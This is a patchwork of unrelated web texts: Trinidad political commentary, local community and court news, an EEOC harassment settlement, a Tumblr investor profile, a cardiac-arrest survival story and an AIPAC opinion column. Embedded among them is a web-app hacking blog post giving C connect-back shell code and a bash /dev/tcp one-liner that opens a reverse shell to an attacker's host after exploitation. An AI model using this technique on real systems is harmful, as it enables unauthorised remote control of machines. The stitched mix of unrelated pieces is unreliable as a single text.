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It seems each week that the Politics and the Crimes here take on new levels...my jaw running out of floor to hit!
In the aftermath of the Motion of No-Confidence(MONC) the issues that would pre-occupy the national consciousness this week were:
- Cpt Gallery Griffith was abusive to an Opposition MP,
- Reshmi Ramnarine has changed her name and was/has been allegedly employed within a Govt Ministry again
- Minister Vernella Alleyne-Toppin has abused the privilege of the Govt Travel Card.
Now the interesting thing in all of this is that many people who often stood up for and spoke out against corruption, malfeisance and abuse under the past PNM regime have been virtually mum this week. Not a comment was made....even more interesting were the comments of people who saw nothing wrong with Minister Toppin using the card in ways for which it was not intended. The rules and guidelines are all there. The card is to be used for international travel, and even though Mrs Toppin is from Tobago, surely she remembers that it is a twin-island republic and knows that Trinidad does not count as international travel. Further, the card is not to be used for withdrawals except when overseas. The various newspapers and radio-programmes this week have painted a picture of total abuse of the card from June to Dec 28th, 2011. In Parliament, Roodal Moonilal fell for the trap created by the Opposition when The Keith said he had receipts to the tune of $4000. Moonilal crowed cockily about what was $4000? And the amount has been paid off in full. By Tuesday of this week we knew that the actual amount was $68,000.00 and that Toppin was in deed and fact overdrawn on the card, whose limit is US$10,000.00.
Toppin, following the examples set by her Prime Minister and other govt colleagues spent the majority of the week ducking the media, and instead claiming she had to attend to her ailing husband....is this the same husband who it is alleged functions as her personal driver and is so in receipt of a government salary? When she eventually emerged from attending to her husband, her response was to send a press release to CNMG in which she indicated that she was not aware that she had done anything wrong. In short, Shoppin Toppin is using ignorance of the law as her defence. But it's stupidly ingenuous if only because she has to sign a document that iterates all the rules of the card. So is Toppin saying that she signed off on the card and never read the rules? Is she saying that as a Govt Minister she is allowed to abuse the system out of ignorance and not have to deal with the consequences? It is alleged that many of the withdrawals at ATMs were done by a close relative of Toppin's and if anyone were to ever get the ATM video footage we might find out who precisely has been using this Govt Travel card all over the country. When reached for comment, the PM insists that the card has been paid off, ignoring the fact that the issue is not the amount owed on the card, but the flouting of the rules and conditions that show that Shoppin Toppin and the government that supports her are capable of corruption and turning a blind eye to it.
What troubles the Pantomime about this is the message it sends. This Govt is corrupt, doesn't care and won't do better. In fact, when a member does wrong, the other members will rush to defend and protect the wrongdoer....all in an attempt to retain its hold on power.
When people voted for the COP, it was hoped that its presence in the Government would provide the voice of reason and restraint and ensure such things didn't occur under a UNC that everyone saw as predatory and parasitic....instead the COP has turned out to be the greatest disappointment.....the Trojan Horse that brought this UNC into Govt....the date rape drug to end all date rape drugs.
If Shoppin Toppin's abuse of the public coffers wasn't enough, we then had issue with Commissioner Dwayne Gibbs being told that he was wrong to rent a plane to the tune of TT$.9m. Mind you, this is in the aftermath of AG Ramlogan gallerying heself in Parliament and saying that Gibbs had full authority to sign off on a deal and that Gibbs didn't have to answer to anyone on the matter of how much he spent because he was in total control of his budget. Now, weeks later we are hearing from the Solicitor General that Gibbs was in the wrong.....Am I to assume then that the AG didn't know what he was speaking about? Then what's his purpose? Isn't he supposed to be providing legal advice to the Government? If he doesn't know the laws then how can he do his job? Why are we paying him a salary?
Another nasty thing happened this week too that involved the AG. The former SAUTT Head's reputation was attacked under the cover of Parliament. The AG implied that Brig Peter Joseph ( a man that the govt had to shell out $1m to in legal matters surrounding his dismissal if I'm not mistaken) was incompetent and that SAUTT was malfunctioning. Under the cover of Parliament the AG can say all of these things without providing any evidence. But a high ranking source within SAUTT has accused the AG of lying. What's new with this govt? If is not a lie is a misstep, or a misspoke, or a let's move on, or an I did nothing wrong!
The latest scandal coming from the Prime Minister is three-fold. Apparently the Prime Minister's sister is he travel advisor; and when questioned the Prime Minister, not even acknowledging the flagrant nepotism involved...the same nepotism that she said her government was against on the campaign platform in 2010....defended her actions by saying she needs her sister. Mind you, it's the taxpayers again that have to shoulder the cost of the PM's needs...and Mrs Vidwatie Newton has been costing the country a pretty penny on each international trip she makes with her sister.
Even Kamla's neighbours are complaining about the helicopters, the parties...and her razor wire fence!
The latest issue that should cause concern too is the PM's comment that Executive Presidency is on the table for her government....the same Executive Presidency that she campaigned and railed against when the PNM was in power? Will it be an Executive Presidency a la the US where there is a Congress and a Supreme Court to keep the President in check....or will it be like Guyana's? A system that is malfunctioning and only favours a limited section of the society? Talk to us Prime Minister dearest? Are we also switching to proportional representation? Is your government going to make all of these changes under cover of night and then inform the country?
Another issue that also remains out of the spotlight but is a burning issue is the matter of Tobago and Internal Self Government....the Central Govt is interfering....they've issued a greenpaper on the matter that raises questions about who qualifies as Tobagonian and what qualifies as the land mass that is Tobago...this greenpaper, spearheaded by Attorney General Ramlogan (why does his name keep cropping up????) has implications for Tobagonians, their land and their self-governance....the Pantomime watching how this issue panning out.
In the midst of all of these issues the world celebrated International Women's Day....I thought of Kamla Persad-Bissessar, Vernella Alleyne-Toppin, Norma Greaves and most of the women we have in Parliament on both the government and opposition sides and considered a sex change....then I called my mother...and all was right with the world again.
This was a tough week to be Trinbagonian. The govt continues to be glib, corrupt and uncaring. The light at the end of the tunnel seems to get more and more distant simply because De Vice Cyah Done!


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Tumblr's David Karp Giving Back to NY Startups, But Don't Call Him a VC
When Yahoo acquired Tumblr for $1.1 billion last year, the New York startup community cheered.
It was the largest acquisition for a venture-backed software company started in the city since 2005. The hope was that it would spur new investments, in part by the people who profited from the deal, in a sort of virtuous cycle that tends to work in the venture capital world.
Some of that scenario has started playing out. Union Square Ventures, a backer of Tumblr, recently raised two funds totaling $350 million.
And now David Karp, Tumblr's founder and chief executive, has started making some investments.
As Venture Capital Dispatch reported on Monday, Mr. Karp put $500,000 into Sherpaa Inc., a New York startup that serves Tumblr's staff and about 80 other companies in New York with its app that connects employees to physicians. Last year, Mr. Karp also backed Superpedestrian Inc., a Boston-based maker of a device that helps transform standard bicycles into hybrid electric ones.
Mr. Karp said he made a few other investments but declined to name them. Still, this is not an indication he is barrelling into investing, he said.
"I'm not trying to become an angel investor. And I have no aspiration to become a venture capitalist," Mr. Karp said. "But insofar as I can give to this community, to support my friends, I'm very happy to."
To make the investment in Sherpaa, Mr. Karp had to get approval from Yahoo's ethics board, but he said the company isn't holding him back too much. "I can't do anything competitive, is the big thing. There's nothing off limits about medical startups or bicycle wheels. But I'm not investing in any search engines," he said.
It might not be just money that matters in the build-out of a robust New York startup community, Mr. Karp said. "More people have not just money, but wherewithal," he said.
Tumblr, Kickstarter, Etsy and other high profile New York startups are holding engineering and other events to share knowledge with the rest of the community, he said.
The New York startup community has a different culture from Silicon Valley's, Mr. Karp contends. Everyone in Silicon Valley is trying to recruit each other, for example.
"It's so hyper-competitive," he said.
In New York, startups "are in the shadows of big media, big finance. It makes the technology community a lot more humble, and a lot more supportive of each other." What matters, he said, is to give back to a community that supported him in the early days.
The startup sector in New York is growing fast. New York State companies attracted $3.13 billion in venture investment in 2013, up from $2.19 billion in 2012, according to Dow Jones VentureSource. The 2013 number is the second highest since 1992, when data collection began, preceded only by 2000, when venture capitalists put $5.68 billion in the state's companies.
What makes a difference in the development of a startup center, Mr. Karp said, is not so much "one person's ability to write a check," but getting New York on the radar of big venture firms.
"It means more folks from the companies out west, more of the investors spend time out here. With Tumblr, we had two very prominent institutional investors from California, from Sequoia and Greylock, out here for board meetings. They were coming to New York every couple of months. When they made the trip, they would meet with other startups," Mr. Karp said.
Some firms are shifting more to New York, as in the case of Flybridge Capital Partners, which as Venture Capital Dispatch wrote on Monday, is tacking to New York, and now has three of its five investment team members based here and the rest in Boston.
About a year ago, Benchmark General Partner Bill Gurley complained that New York companies tend to sell too quickly instead of waiting for a big exit, through an IPO especially. It remains to be seen whether this year will be different, but it's clear that there is a crop of New York startups that have taken late-stage capital recently, including MongoDB Inc., which raised $150 million, and AppNexus, which got $75 million last year. If they are successful, the virtuous cycle might get a boost.
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Jake and Dottie Wilhelm, of Cincinnati, Ohio, announce the engagement of their daughter, Julie Ann Wilhelm, of Orange Park, to Steven Thomas Roquemore, of Fowlers Bluff. Roquemore is the son of David and Susan Roquemore, of Cedar Key.
Wilhelm graduated from Western Hills High School in Cincinnati, and she has a degree from the University of Cincinnati. Roquemore graduated from Cedar Key High School and also attended Santa Fe Community College. He has a degree in seamanship from the Harry Lundberg School of Seamanship in Piney Point, Md.
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Director, Quilt Museum
The Log Cabin Quilters met Thursday, March 31, at the Levy County Quilt Museum. The weather was bad for a while. The worst of it was to the north of us, yet we did get the much-needed rain. A new quilt was put in the frame to be hand quilted.
Greg and six boys were out Wednesday. They got a lot done. We have a lot of mums that were cleaned out if you want some. They planted another blueberry plant and cleared out around the sign in the front yard. Thanks Lancaster.
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A recent survey conducted by AARP confirms that Floridians 50+ are concerned about their finances, thinking about having to delay retirement and struggling with day-to-day costs of living as big spikes in fuel costs ripple through the economy.
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Wal-Mart Manager Arnie Pierce presents the "Bus Seniors" with a new big screen television to be used at the Trenton Senior Center. The monthly trips to Wal-Mart on the Gilchrist County free bus have become a social event that all the riders look forward to on the first Friday of each month. The group wishes to thank not only the manager, but all the employees of Walmart for all the help they have provided over the last few months.
The family and many friends of former Levy County Tax Collector C.D. Tummond are having a 93rd birthday party for him on Saturday, April 2, at the Brinkman Farm on County Road 330 — 10351 N.W. 70th St.— Chiefland. Friends will begin gathering at 11 a.m. with lunch at 1 p.m. All are welcome and guests are asked, if you can, bring a chair and if you wish, a favorite dish. Balloons will mark the drive on which to turn.
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WINSTON-SALEM, N.C. – Winston-Salem-based gas station / convenience store chain WilcoHess, LLC agreed to pay $75,000 and furnish substantial non-monetary relief to settle a sexual harassment and retaliation lawsuit brought by the U.S. Equal Employment Opportunity Commission (EEOC). The EEOC announced today that Judge Thomas D. Schroeder, U.S. District Court Judge for the Middle District of North Carolina, has signed and entered the agreement between the parties. In the lawsuit, the EEOC had charged that a female cashier was subjected to a sexually hostile work environment and then retaliated against by the company after she complained about the harassment.
According to the EEOC's complaint (EEOC v. WilcoHess, LLC, Civil Action No. 1:08-cv-00704, U.S. District Court for the Middle District of North Carolina), WilcoHess subjected Bridgette L. Boston to a sexually hostile work environment for approximately three months from November 2006 to February 2007. The harassment took place at the company's Akron Drive store in Winston-Salem and was perpetrated by the store's then-manager. The EEOC had claimed that the store manager propositioned Boston for sexual favors, made frequent sexual comments to her about her body, and touched her buttocks on at least one occasion. The EEOC further claimed that Boston reported the sexual harassment to her assistant manager, who in turn forwarded the complaint to the district manager, but no action was taken to end the harassment. Rather, according to the EEOC, after Boston complained, the store manager significantly reduced Boston's work hours, which forced her to resign.
Sexual harassment and retaliation for complaining about it violate Title VII of the Civil Rights Act of 1964. In addition to $75,000 in monetary damages, the consent decree settling the suit provides for injunctive relief preventing WilcoHess from discriminating against any person on the basis of sex under Title VII, and from retaliating against anyone who complains about such discrimination. The decree also requires WilcoHess to post its sexual harassment policy at all stores within the company's Northern Region, which includes approximately 68 stores in North Carolina and Virginia. Further, the decree requires WilcoHess to provide annual sexual harassment and retaliation training to all managers, supervisors, and employees within its Northern Region, and to review its sexual harassment policy with each new employee at the time of hire. Finally, WilcoHess agreed to provide the EEOC with semi-annual reports of all written and verbal complaints of unwelcome sexual conduct received from employees in the company's Northern Region.
"Victims of sexual harassment and retaliation in the workplace often suffer severe emotional and financial injuries that can seriously affect their lives for years," said Lynette A. Barnes, regional attorney for the EEOC's Charlotte District. "It is the EEOC's duty to pursue justice for the damages those victims suffer, as well as relief aimed at preventing future harassment by that employer."
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Flash: Homicide on Delaware Street in Berkeley This Morning
The City of Berkeley Police Department (BPD) is investigating a fatal shooting that occurred on Delaware Street near the intersection of San Pablo Avenue.
On Monday, at approximately 11:08 a.m., BPD patrol officers responded to multiple reports of shots fired, with a victim down near the intersection of Delaware Street and San Pablo Avenue. BPD officers arrived on scene and discovered a single victim down, suffering from gunshot wounds. The victim a 34 year old male was transported to a local hospital by the Albany Fire Department. The victim was pronounced deceased at the hospital. BPD will not be releasing the victim's name out of respect for those family or friends that still need to be notified of his passing.
BPD Homicide detectives and officers are actively working the crime scene, canvassing the area, interviewing witnesses and following up on leads.
BPD is urging anyone who may know anything about this homicide to call the BPD Homicide detail at (510) 981-5741 or the 24 hour BPD non emergency number of (510) 981-5900. If a person wishes to remain anonymous, he/she can call the Bay Area Crimes Stoppers (BACS) at (800)-222-TIPS (8477). Any information may be critical to solving this crime.


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What do Tiger Dancers, fiddlers, conjunto musicians and the Texas Buffalo Soldiers have in common? They were all participants in the Celebrate Texas! event held at the Capitol today to commemorate the state's 177th birthday.
Attendees filled the rotunda for the hour-long celebration beginning with a welcome from Sen. Kirk Watson, D-Austin, at noon. The Texas Buffalo Soldiers then presented the colors, and colorful presentations from children and musicians across the state followed.
There were signed songs by Austin's Texas School for the Deaf students, dances by the Vietnamese American Texas Tiger Dancers from Houston, and songs from the Lone Star Kids from Electra.
The Lake Travis Fiddlers brought down the house (and senate) with their version of "I'll Fly Away," then came the Johnny Degollado y su Conjunto band and a sing-a-long a capella "Texas Our Texas," before the Texas Buffalo Soldiers retired the colors.
The group's youngest member, Alex Padilla, 7, said the event was his first time to visit the Capitol.
"It's pretty big," he said. "I love it."
One day, he said, he hopes to get a full uniform and sword, like his father, Luis Padilla. The elder Padilla said his son has been marching with the group for about a year.
"I want to ensure that we can keep building the legacy," said Padilla, a program director with the Texas Parks and Wildlife and a 7-year member of the Texas Buffalo Soldiers. "It's a great bonding experience for us, too, and it keeps him doing positive things."


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By: Cris Neckar
In the world of web app hacking undoubtedly the most annoying stage of exploitation is the purgatory between a working exploit and a working shell. It's that place where your exploit works perfectly, you have gained the ability to execute commands, but you still don't have a truly interactive shell. Anyone who does this type of thing with any regularity has developed a slew of tricks to get past this. The old standby is obviously netcat with the -e option, of course any administrator that leaves a copy of netcat with -e enabled lying around probably deserves to be hacked. To make things easier you probably have a chunk of code similar to the following that you wget into /tmp:
int main (int c, char **v) {
char *ex[4];
struct sockaddr_in s4;
int s;
s4.sin_family = AF_INET;
s4.sin_port = htons(v[2]);
s4.sin_addr.s_addr = inet_addr(v[1]);
s = socket(AF_INET, SOCK_STREAM, 0);
connect(s, (struct sockaddr_in *)&s4,sizeof(struct sockaddr_in));
dup2(s, 0);
dup2(s, 1);
dup2(s, 2);
Thats all well and good until we run into a system with no compiler, no wget, or some similarly funky condition. This also necessitates at least a minimal web server to grab from. So the question becomes how can we implement a similar connect back shell with no overhead.
Fortunately the bash developers have come to the rescue. Those of you who do a lot of shell scripting may have heard of the /dev/tcp and /dev/udp bashisms. These aren't actual devices but instead filenames which are handled internally in bash.
From bash 3.2:
static STRING_INT_ALIST _redir_special_filenames[] = {
{ "/dev/tcp/*/*", RF_DEVTCP },
{ "/dev/udp/*/*", RF_DEVUDP },
case RF_DEVTCP:
case RF_DEVUDP:
fd = netopen (filename);
netopen (path) char *path; {
np = (char *)xmalloc (strlen (path) + 1);
strcpy (np, path); <-- Opps, NULL ptr deref
s = np + 9;
t = strchr (s, '/');
*t++ = 0;
fd = _netopen (s, t, path[5]);
free (np);
This goes on to open a socket to the provided address and port making our format something like '/dev/tcp/hostname/port'.
So can this be used to implement a connect back shell? Lets break down the C code we have been using line by line.
First we open a file descriptor to a remote system on a given port. Great, thats exactly what /dev/tcp and /dev/udp do.
Next we copy that file descriptor to standard input, standard output and standard error. Fortunately bash has another useful built-in which can help us with this. The 'exec' command is generally used to replace the bash process with another (ie. sys_execve(), sounds interesting for later on). One of the other interesting things about 'exec' is that it also apply any redirects which are specified to the bash process itself. This means that we can effectively recreate dup2() using only bash built-ins by doing the following:
$ exec 0</dev/tcp/hostname/port # First we copy our connection over stdin
$ exec 1>&0 # Next we copy stdin to stdout
$ exec 2>&0 # And finally stdin to stderr
Now all we have left to do is execve() /bin/sh and 'exec' can also take care of that for us. So to bring this all together we get the following command:
$ exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
We have effectively recreated our connect back shell code using a single command, but more importantly this command uses only bash built-ins and will work in the most locked down environment without the need for file uploads or a writable directory.
There is one caveat to all this. The /dev/tcp and /dev/udp redirects must be enabled when bash is compiled. Most Linux distros enable this feature by default but at least Debian is known to disable it.


text: Mosques from San Diego to Los Angeles opened their doors to people of all faiths on Sunday. Now in its 12th year, Open Mosque Day is sponsored by the Islamic Shura Council of Southern California. The event aims to dispel Muslim stereotypes and Islamophobia that still persist in the U.S. more than a decade after the September 11, 2001 terrorist attacks.


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Woman Appointed to South Dakota Army's Top Enlisted Position
RAPID CITY - The South Dakota Army National Guard has appointed a woman to the highest ranking senior-enlisted position for the first time.
Command Sgt. Maj. Susan Shoe replaces State Command Sgt. Maj. Larry Zimmerman as the new state command sergeant major. The position is the highest ranking noncommissioned officer position for the South Dakota Army National Guard.
Shoe says the selection means a lot to her, and she is honored to be the first woman to serve in the role. Shoe assumed the role during a ceremony over the weekend.
James Welch, of Sioux Falls, also became the state's first senior enlisted leader for the South Dakota National Guard over the weekend. He will serve as an adviser to the state's adjutant general.
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While its elevated platform design protected it from destruction by Hurricane Katrina, New Orleans' Phillis Wheatley Elementary School now faces forces stronger than those of 2005: neglect and disregard. The glass and steel structure was designed by architect Charles Colbert (1921-2007) in 1954. It uniquely situates itself among the surrounding 18th and 19th century architecture of New Orleans with its innovative modernist glass and steel design.
Phillis Wheatley Elementary School, 1954 Image: WMF 2009
Docomomo US/NOLA (New Orleans, LA) is currently is struggling to preserve the building and has suggested the adaptive reuse of the space as a community center— thereby, engaging and integrating the community within one of the most innovative monuments of mid-century Modern architecture in New Orleans. Regardless of the design accolades that the building has received, including recognition by Progressive Architecture in 1955 and Colbert receiving the Louisiana AIA Medal of Honor in 2006, the building's future is still in peril. The Orleans Parish School Board never reopened Wheatley after the hurricane, and it has since fallen victim to decay and vandalism. School officials now have plans to demolish Wheatley and construct a new school in its place. The World Monuments Fund recognized the fragility of Wheatley's situation and included the building in its 2010 World Monuments Watch list.
Phillis Wheatley Elementary School, Image: WMF 2009
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Thursday, November 5, 2009
Miracle patient revived after 57 minutes
Laura Geraghty
Laura Geraghty is a miracle patient, according to her doctors. After suffering a major heart attack on April 1 that left her without a regular heart for nearly an hour, Geraghty surprised doctors by making a nearly full recovery.
She is now using her second chance at life to spread the word about the importance educating people about cardiopulmonary resuscitation (CPR) and automated external defibrillators (AEDs), tools that doctors credit for her remarkable progress.
"I was extremely fortunate. God was looking out for me," she says. "It's really important to make people aware of the symptoms of a heart attack, especially among women, and make sure more people know how to do CPR or help if someone's having a heart attack."
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When Geraghty, 46, left her home on April 1, she was feeling fine and seemingly in good health. By the time she picked up the first child on her bus route to Newton South High School, she was experiencing what she thought was indigestion. That feeling quickly turned to pain shooting up her arm.
"I knew I was having a heart attack," says Geraghty.
Before she passed out, she sent one of the teacher's aides running to get the school nurse and called her supervisor to let him know she could not finish her route that day. That's the last she remembers.
Geraghty collapsed and went into cardiac arrest. She had no pulse and oxygen was not circulating through her body. When help arrived from Newton South High School, they immediately started CPR and tried to use the school's AED to shock her back to life. From there, she was rushed to Newton-Wellesley Hospital.
Geraghty was essentially dead for 57 minutes without a pulse. The emergency room doctor decided to give it one last try after 20 attempts to restore her heart function with a defibrillator.
"On my 21st shock I gave the doctor a shock," she says.
The last shock was the one that worked, and the Newton-Wellesley Emergency Department team stabilized a critically ill Geraghty enough to send her to the Mass General Hospital Heart Center for an emergency catheterization procedure. Within minutes of arriving at Mass General, Dr. Kenneth Rosenfield, director of cardiac and vascular invasive services for the Heart and Vascular Centers, opened Geraghty's blocked artery by placing a stent in her heart.
"Laura had a 100 percent blockage of her left anterior descending artery," says Rosenfield. "We were able to restore blood flow, but she was still in very serious condition. We were anxious to see how much of her brain function she had retained when she regained consciousness."
Geraghty surprised everyone when she walked out of Mass General nine days later with no noticeable neurological affects. After months of recovery and completing a cardiac rehabilitation program, Geraghty has regained most of her heart function.
Effective CPR
Dr. Rosenfield attributes much of Geraghty's recovery to the immediate and effective CPR she received.
"The heart is a resilient organ. In fact, it's the brain that is much more susceptible to damage in these situations. The brain begins to lose function within four minutes when oxygen is cut off," he says. "The fact that Laura has no neurological impairments after her heart attack is testament to the early and effective CPR she received."
According to the American Heart Association, almost 80 percent of out-of-hospital cardiac arrests occur at home and are witnessed by a family member. However, very few of those witnesses know how to perform CPR.
Dr. Rosenfield, along with Geraghty and several of his other patients, is working with the American Heart Association to lobby for the passage of a legislative bill mandating CPR instruction in Massachusetts high schools.
"If students were required to get certified in CPR for graduation, in a few years we would have a veritable army of people who could help in these situations, they would very likely save lives of people experiencing heart attacks or sudden cardiac death," says Rosenfield.
Geraghty is getting behind the cause. She told her story at a recent meeting of the Sudden Cardiac Arrest Association in Chicago and even plans to become a certified CPR instructor herself.
"If you had asked me about heart attacks or sudden cardiac death on March 31, I would have said 'that doesn't matter to me. I'm too young to worry about that'," says Geraghty. "Now, I want to make sure others can be as fortunate as I was by teaching people about CPR and getting AEDs in more public places."
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What if we told you there was a way of listening and streaming the same tracks, for free, without moving away from your computer? If you have a fast broadband account, streaming high quality audio from the Internet is a distinct possibility. Streaming high-quality video is another matter entirely.
Spotify is the latest Internet sensation. It enables you to setup a free account, download the player to your system, then select the tracks you want to hear. You can setup a play queue with your favourite tracks, so you don't have to individually select a track every time you want to hear some music. You can listen to online Internet-based radio, too, through your Spotify player.
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Troubled actor Edward Furlong has lost his battle to regain full custody of his son.
A court has banned the "Terminator 2: Judgment Day" star from spending any time alone with the 6 year old after his ex-wife accused him of exposing the child to cocaine, a charge the actor vehemently denies.
Furlong went back to court in Los Angeles on Friday in a bid to have the order overturned, but the judge overseeing the custody case refused to change the previous arrangements that were put in place last month, according to TMZ.com.


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FINGER LENGTH – A reliable predictor for prostate cancer?
December 29, 2010
Earlier this month, British researchers published new research presenting a link between the relative length of the index finger and the risk of developing prostate cancer. In men with an index finger longer than the ring finger the chances are 33% higher for not developing the disease.
Often such studies are qualified by non-experts as "nonsense" – initially because of the association with classical palmistry. Usually a main argument of concern is the seize of the studied sample: many '2D:4D digit ratio' studies have been focused relatively small samples, and usually with the statistics were simly not strong enough to be applied to individuals. But those arguments can not be used to the describe the new British study!
The new British research involves a study where the hands of 1,524 prostate cancer patients were examined, which were compared with a control group of 3,044 men.
It can also be noted that Professor John Manning described in his second book 'The Finger Book' with great details the suspected link between the '2D:4D digit ratio' and prostate cancer – a complex theory about of role glutamine chains in the sensitivity of hormone receptors, which in their turn play a role in the activation of testosterone in the body:
"…The various forms of the androgen receptor have important consequences for our health and behaviour. For example, African-American men have shorter glutamine chains (high sensitivity to testosterone) than white men. Short glutamine chains are associated with an increased susceptibility to prostate cancer, and this may in part explain why the incidence of prostate cancer is higher in African-Americans than in white Americans. …"
In short, there seems to exist a triangular relationship between: 1) the high percentage of prostate cancer in Americans with African ancestry, 2) the length of the glutamine chains, and 3) the length ratio between index finger and ring finger.
The importance of the new British study can be recognized in the fact the use of preventive screening for prostate cancer – which is anno 2010 usually done through the use of a blood test – is still an object of confusion. Simply because the benefits of the screening devices are still very unclear. Meanwhile it is a fact that prostate cancer is known as the No. 1 cause of death from cancer in men (see picture below).
The British researchers therefore are speculating about how to add a practical application of their finger length study to the traditional methods of prostate cancer prevention screening!
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January 28, 2011
Win a $20,000 Journey to Your Homeland!
Enter for a chance to win a $20,000 journey to your family's homeland from Ancestry.com.
I hope you've marked your calendars for Feb. 4, 2011! Season 2 of Who Do You Think You Are is about to start. You could win an amazing journey of your own by entering the $20,000 journey on Ancestry.com.
One week from today you can watch Episode 1: Vanessa Williams learns about the extraordinary lives of her trailblazing ancestors. February 4th, 8/7c
Episode 2: Tim McGraw discovers his family's surprising role in settling
the early American frontier. February 11th, 8/7c
Tune in throughout the rest of the season to watch Kim Cattrall, Rosie O'Donnell, Lionel Richie, Steve Buscemi, Gwyneth Paltrow and Ashley Judd reveal their family stories.
2 comments:
- @recordswiki said...
Love that Tim McGraw's family settled the American West. How appropriate for a country music singer!
This contest sounds like an amazing opportunity, too. I could use a $20,000 Family History vacation. =)
- Celia said...
Open to US & Canada (-Que); one entry per day until contest is over.
Now the big problem: which 'homeland' is THE one? Such a challenge!
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- The Art Commission has the power of approving or disapproving the following: works of art acquired by the City; design and location of buildings, bridges, etc. to be paid for in part or in whole from the City Treasury; structures or fixtures to be erected over highways, streams, lakes, squares, parks or other public places within the city; the removal, relocation, or alteration of any City-owned work of art. The Commission periodically examines City monuments and works of art and makes recommendations to the Commissioner of Public Property.
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- Established by an Act of May 25, 1907 and composed of eight members appointed by the Mayor and the Mayor ex officio, the Art Jury was given authority to prohibit the City's acquisition of any work of art if it did not approve of the work or of its proposed location. An Act of 1913 extended the Art Jury's authority to the approval of any structure financed by public funds or of any structure, private or public, to be erected in proximity to facilities such as parks, etc. Upon the adoption of the present City Charter in 1951 the Jury was made a departmental commission, under the title of the Art Commission, of the Department of Public Property, retaining all of its former functions and powers.
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Sticky ice may explain plant formation
A ceramic ball dropped on fluffy ice bounces to about 10% of the height from which it was dropped; if dropped on an unyielding surface, it would bounce to about 80% of the original height.
Planetary systems form as dust particles in a nebula accrete to form proto planets. As the protoplanets grow, their increasing gravitational strength attracts even more particles. This model has a couple of flaws. First, when the proto sun at the center of the nebula becomes massive enough to initiate fusion reactions, the generated solar wind will quickly (a few million years is quick in astronomical terms) blow the dust particles away, preventing planet formation. Second, when dust particles, which are expected to be coated with ice, collide, they would recoil and not stick together.
PNNL researchers have demonstrated a mechanism that would encourage planetary formation. Water ice formed at cryogenic temperatures creates particles that have an electrostatic dipole. These charged particles are more inclined to stick together than neutrally charged particles. The solar wind would rapidly neutralize the charges, but collisions break the particles into asymmetric pieces that have net charges, re-establishing the attractive force.
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NaNoWriMo: Completed!
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So I finished NaNoWriMo today. I got a little behind earlier this week, but then yesterday I wrote 5k, catching up and then some. And today, somehow, I managed to crank out over 9k (cue "it's over 9000!"), ending with 50,075 words a couple hours ago.
I'm still in a little bit of disbelief that I wrote that much today, and the fact that I finished NaNo at all. Last year I only got 22k, and this year I finished seven days before the end, so I'm definitely super excited about that. The story itself isn't quite finished, but almost. It's got about 72k words total now, and will probably be another 10k or so, which hopefully I can finish quickly--maybe even during November, continuing the spirit of NaNo.
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Will Lobby Get Israel Exempted From Sequestration?
by: MJ Rosenberg on March 1st, 2013 | 10 Comments »
Douglas Bloomfield, who served as AIPAC's chief lobbyist for more than a decade, reports this week that the lobby intends to insist that the United States not include Israel's $3 billion grants package in the sequester that goes into effect today. Writing in the New York Jewish Week, Bloomfield says:
At a time when sequestration is about to take a big bite out of the Pentagon budget, the American Israel Public Affairs Committee (AIPAC) will be sending thousands of its citizen lobbyists to Capitol Hill next week to make sure Israel is exempted from any spending cuts.
This could prove a very risky strategy at a time when millions of Americans will be feeling the bite of the sequestration debacle, from the defense budget to the school lunch program.
But not aid to Israel, which will be untouched if AIPAC gets its way.
At one time I wouldn't have believed AIPAC would dare try something this nervy.That is it because traditionally AIPAC has been very cautious about not taking actions that suggested putting Israel's interests over America's. Demanding that Israel be exempt from cuts that virtually every American will feel seems so counterproductive as to almost be suicidal for the lobbying powerhouse.
Nonetheless, everything I hear indicates that Bloomfield is right although I doubt AIPAC will have the gall to insist on insulating AIPAC from the cuts that will occur in this year's budget. More likely, it will wait until Congress is putting the 2014 cuts in place (there is more Congressional discretion in allotting the pain after 2013) before demanding not just that Israel go to the head of the line but that it not be forced to stand in the line at all.
No matter when Israel is exempted, and by how much, it is wrong and would represent nothing more than another power play by the lobby. After all, a cut of $175 million out of a $3 billion U.S. grant is nothing that Israel can't handle. Besides, since when is any foreign aid gift automatic, so automatic that it is provided whether the donor can afford it or not. Even teenagers don't demand a car when his parents are filing for bankruptcy. Additionally, if aid to Israel (the largest chunk of the foreign aid budget) is protected, mandated sequestration cuts will have to be proportionately increased on other recipients, primarily African countries which receive much needed development assistance (hunger, poverty, disease prevention) .
But that's AIPAC or, to use the more encompassing term, the Israel lobby. At its conference this week it will, if Bloomfield is right, not only demand that Israel be exempt from sequestration, but also that Congress enact legislation declaring that Israel is a "major strategic ally."
That is a designation not enjoyed by any other nation, JTA [the Jewish Telegraphic Agency] pointed out, noting it may be a step toward the goal of some conservatives of divorcing assistance to Israel from all other foreign aid spending.
But all this is nothing compared to the centerpiece of AIPAC's lobbying activities this coming week. According to the Daily Beast, the lobby will also dispatch its 13,000 delegates to Capitol Hill to promote a resolution on Iran that is being introduced by Senator Bob Menendez (D-N.J.) and Lindsey Graham (R-SC). The resolution "urges that, if the Government of Israel is compelled to take military action in self-defense, the United States Government should stand with Israel and provide diplomatic, military, and economic support to the Government of Israel in its defense of its territory, people, and existence."
In other words, if Israel goes to war with Iran we are at war too.
Daily Beast quotes Columbia University professor, Gary Sick, who says that the effect of the resolution would be to authorize Israel to decide when and if the U.S. goes to war. "This legislation would effectively entrust that decision to a regional state…. Such a decision is an American sovereign responsibility. It cannot be outsourced."
I don't know what can get AIPAC off this dangerous course. Surely it understands, as the Forward reported this week, that the idea that the lobby runs U.S. foreign policy is now even the staple of popular culture as demonstrated in February alone on Saturday Night Live, the Kevin Spacey miniseries "House of Cards" and at the Academy Awards.
As one who believes that the lobby is a bad influence in American life, I suppose I should be glad that the lobby's overreaching is finally being taken note of. On the other hand, I don't like it. The Lobby, despite its claims, does not speak for most American Jews, not by a long shot. (In 2008, the American Jewish Committee poll found that just 3 percent of Jews cast their votes with their focus on Israel, findings that were repeated in a Florida only poll in 2012). Moreover, there is no indication that those Jews most focused on Israel share AIPAC's (an organization with just 100,000 members) hard line approach.
Nonetheless, AIPAC's aggressiveness tars us all, and Israel too. I recall back in 1973, when Israel was attacked by Egypt and Syria on Yom Kippur, America rushed to its aid, saving the country from possible collapse. Few questioned that doing so was the right thing to do. But that was before its lobby became a punch line in jokes about Jewish power, jokes that – as the case of Chuck Hagel demonstrated – are not fabricated out of thin air.
The lobby has outlived its usefulness. Its work no longer helps make Jews or Israel more secure. In fact, it accomplishes the opposite. It's time for Israel to finally do what Yitzhak Rabin tried to: divest itself of the lobby.


